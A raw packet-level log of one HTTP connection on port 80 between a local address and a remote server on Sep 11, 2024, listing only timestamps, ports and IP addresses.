Sep 11, 2024 18:23:47.267199993 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.267278910 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.267287016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.267299891 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.267333984 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.267337084 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.267345905 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.267354012 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.267370939 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.267379045 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.267393112 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.267400026 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.267402887 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.267407894 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.267429113 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.267446041 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.425930023 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.425937891 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.425944090 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.425983906 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.425992966 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.425997972 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.426003933 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.426012039 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.426029921 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.426035881 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.426038980 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.426043034 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.426160097 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.426160097 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.426160097 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.426520109 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.426578999 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.426584005 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.426589966 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.426594019 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.426598072 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.426635027 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.426681042 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.426682949 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.426687956 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.426692963 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.426698923 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.426702023 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.426706076 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.426743984 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.426793098 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.427325964 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.427350044 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.427352905 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.427424908 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.427428007 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.427433014 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.427439928 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.427443027 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.427447081 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.427557945 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.427557945 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.427557945 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.427876949 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.427897930 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.427901983 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.427988052 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.427992105 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.427997112 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.428003073 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.428011894 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.428014040 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.428016901 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.428073883 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.428083897 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.428087950 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.428092957 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.428297997 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.429563046 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.429568052 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.429573059 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.429594040 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.429598093 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.429601908 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.429608107 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.429610968 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.429615974 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.429630995 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.429678917 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.429678917 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.429692984 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.429697990 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.429702044 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.429759979 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.429764986 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.429820061 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.429822922 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.429878950 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.429882050 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.429887056 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.429893017 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.429900885 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.429905891 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.429919958 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.429919958 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.429946899 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.429964066 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.429968119 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.429972887 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.430088997 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.430744886 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.430767059 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.430771112 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.430840015 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.430844069 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.430846930 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.430847883 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.430937052 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.430941105 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.430941105 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.430946112 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.430951118 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.430951118 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.430955887 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.430959940 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.431001902 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.431152105 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.431610107 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.431627989 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.431632996 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.431713104 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.431716919 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.431720972 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.431726933 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.431730032 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.431734085 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.431734085 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.431736946 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.431780100 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.431781054 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.431786060 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.431791067 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.431860924 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.432578087 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.432598114 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.432600975 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.432650089 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.432652950 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.432657957 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.432662964 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.432672024 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.432676077 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.432693958 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.432693958 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.432709932 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.432729959 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.432735920 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.432739973 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.432801008 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.433476925 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.433516979 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.433521032 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.433537960 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.433571100 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.433577061 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.433581114 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.433585882 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.433593988 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.433598042 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.433618069 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.433640003 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.433645010 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.433672905 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.433686972 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.433710098 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.433727026 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.434427023 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.434472084 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.434598923 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.516416073 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.516424894 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.516433954 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.516439915 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.516444921 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.516448975 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.516473055 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.516477108 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.516483068 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.516489029 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.516494036 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.516499043 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.516505003 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.516509056 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.516515017 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.516530037 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.516535044 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.516752958 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.516757011 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.516762018 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.516836882 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.516845942 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.516849995 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.516855001 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.516855001 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.516855001 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.516855001 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.516858101 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.516863108 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.516943932 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.516947985 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.516952038 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.516952991 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.516957045 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.517016888 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.517028093 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.517031908 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.517035961 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.517040968 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.517049074 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.517052889 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.517056942 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.517111063 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.517115116 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.517151117 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.517164946 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.517179966 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.517184019 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.517215967 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.517220974 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.517230034 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.517235041 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.517237902 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.517241001 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.517246008 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.517338991 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.517343044 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.517348051 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.517352104 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.517360926 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.517379045 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.517472982 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.517477036 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.517481089 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.517486095 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.517499924 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.517502069 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.517504930 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.517544031 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.517563105 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.517564058 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.517613888 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.517617941 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.517621994 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.517626047 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.517695904 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.517699957 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.517704010 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.517709017 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.517718077 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.517721891 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.517726898 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.517729998 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.517755985 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.517755985 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.517755985 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.517796993 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.517796993 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.676997900 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.677005053 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.677009106 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.677018881 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.677023888 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.677026987 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.677031040 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.677041054 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.677187920 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.677359104 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.926930904 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.926939011 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.926944017 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.927335978 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.927346945 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.927350998 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.927366972 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.927377939 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.927390099 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.927398920 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.927402973 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.927407026 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.927412033 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.927428961 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.927444935 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.927510023 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.927515030 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.927520037 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.927525043 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.927591085 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.927591085 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.927726984 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.927731037 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.927736044 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.927742004 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.927750111 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.927753925 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.927759886 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.927763939 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.927767038 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.927772999 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.927778959 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.928005934 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.928005934 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.928005934 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.928096056 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.928101063 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.928106070 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.928111076 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.928119898 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.928355932 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.928359985 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.928364992 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.928370953 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.928379059 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.928452969 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.928457022 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.928462029 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.928464890 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.928466082 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.928472042 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.928481102 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.928498983 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.928508043 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.928514004 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.928517103 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.928520918 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.928527117 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.928529978 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.928531885 CEST	80	49710	104.21.14.133	192.168.2.5
